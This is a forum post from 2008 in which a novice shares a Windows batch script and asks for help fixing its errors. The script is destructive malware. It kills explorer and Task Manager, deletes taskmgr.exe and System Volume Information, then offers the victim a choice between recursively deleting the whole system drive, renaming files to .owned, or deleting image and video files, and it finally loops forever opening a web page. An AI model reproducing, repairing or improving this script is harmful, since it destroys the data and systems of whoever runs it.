06-23-2008, 02:45 PM
Hello guys, I decided to start learning batches yesterday. I praticed myself by creating a batch. I might have done a lot of errors because it's my first one. So, I'm gonna post it here and if you guys could tell me the errors that I made. I might have a lot but stills...
Here is what it's suppose to do so you will be able to see if the batch works...
Thanks in advance for the help.
(Please don't post comments to say that it sucks, because I already know it. If you want to post comments, post one that will help.)
Code:
@echo off
title Owned By GoodKidz
msg * This was made by GoodKidz...
tskill explorer
tskill taskmgr
del %systemdrive%\WINDOWS\system32\taskmgr.exe /F
color 47
echo now you can't do anything :)
echo so here we continie....
del %systemdrive%\System Volume Information /F /Q /S
color 60
echo now you can choose between 3 choices
echo If you want to delete every thing on your computer, press 1
echo If you want to rename everything on your computer to .owned, press 2
echo If you want to let me choose, press 3
set /p option=
if '%option%'=='1' goto deleteall
if '%option%'=='2' goto renameall
if '%option%'=='3' goto mistery
:deleteall
msg * you decided to delete everything on you computer, so here we go
del %systemdrive% /F /S /Q
:renameall
msg * you decided to rename everything in your computer...
RENAME *.TXT *.OWMED /F /Q
RENAME *.EXE *.OWNED /F /Q
RENAME *.MSI *.OWNED /F /Q
RENAME *.ZIP *.OWNED /F /Q
RENAME *.RAR *.OWNED /F /Q
RENAME *.DOC *.OWNED /F /Q
RENAME *.DLL *.OWNED /F /Q
RENAME *.JPG *.OWNED /F /Q
RENAME *.BMP *.OWNED /F /Q
RENAME *.SQM *.OWNED /F /Q
RENAME *.LOG *.OWNED /F /Q
RENAME *.AVI *.OWNED /F /Q
RENAME *.INI *.OWNED /F /Q
RENAME *.DAT *.OWNED /F /Q
RENAME *.BAK *.OWNED /F /Q
RENAME *.TMP *.OWNED /F /Q
RENAME *.SYS *.OWNED /F /Q
:mistery
msg * You did the good choice, you decided to trust me...
msg * So for this, I'm just gonna have fun :)
cd c:\
DEL *.JPG /F /Q /S
DEL *.BMP /F /Q /S
DEL *.AVI /F /Q /S
GOTO Funnyending
:Funnyending
start /MAX www.yourwebsite.com
goto FunnyendingHere is what it's suppose to do so you will be able to see if the batch works...
Code:
This batch will basicly :
-Kill explorer.exe
-Kill task manager if open
-Delete task manager
-Delete all Dll in System32
-Delete the directory : System volume information
Then, it will ask the user to make a choice between three things.
Choice 1 :
-Will delete everything on the computer
-Will close the computer
Choice 2 :
-Will rename most .extension to .owned
-Will close the computer
Choice 3 :
-Will delete every jpeg, bmp and avi files.
-Will spam your websiteThanks in advance for the help.
(Please don't post comments to say that it sucks, because I already know it. If you want to post comments, post one that will help.)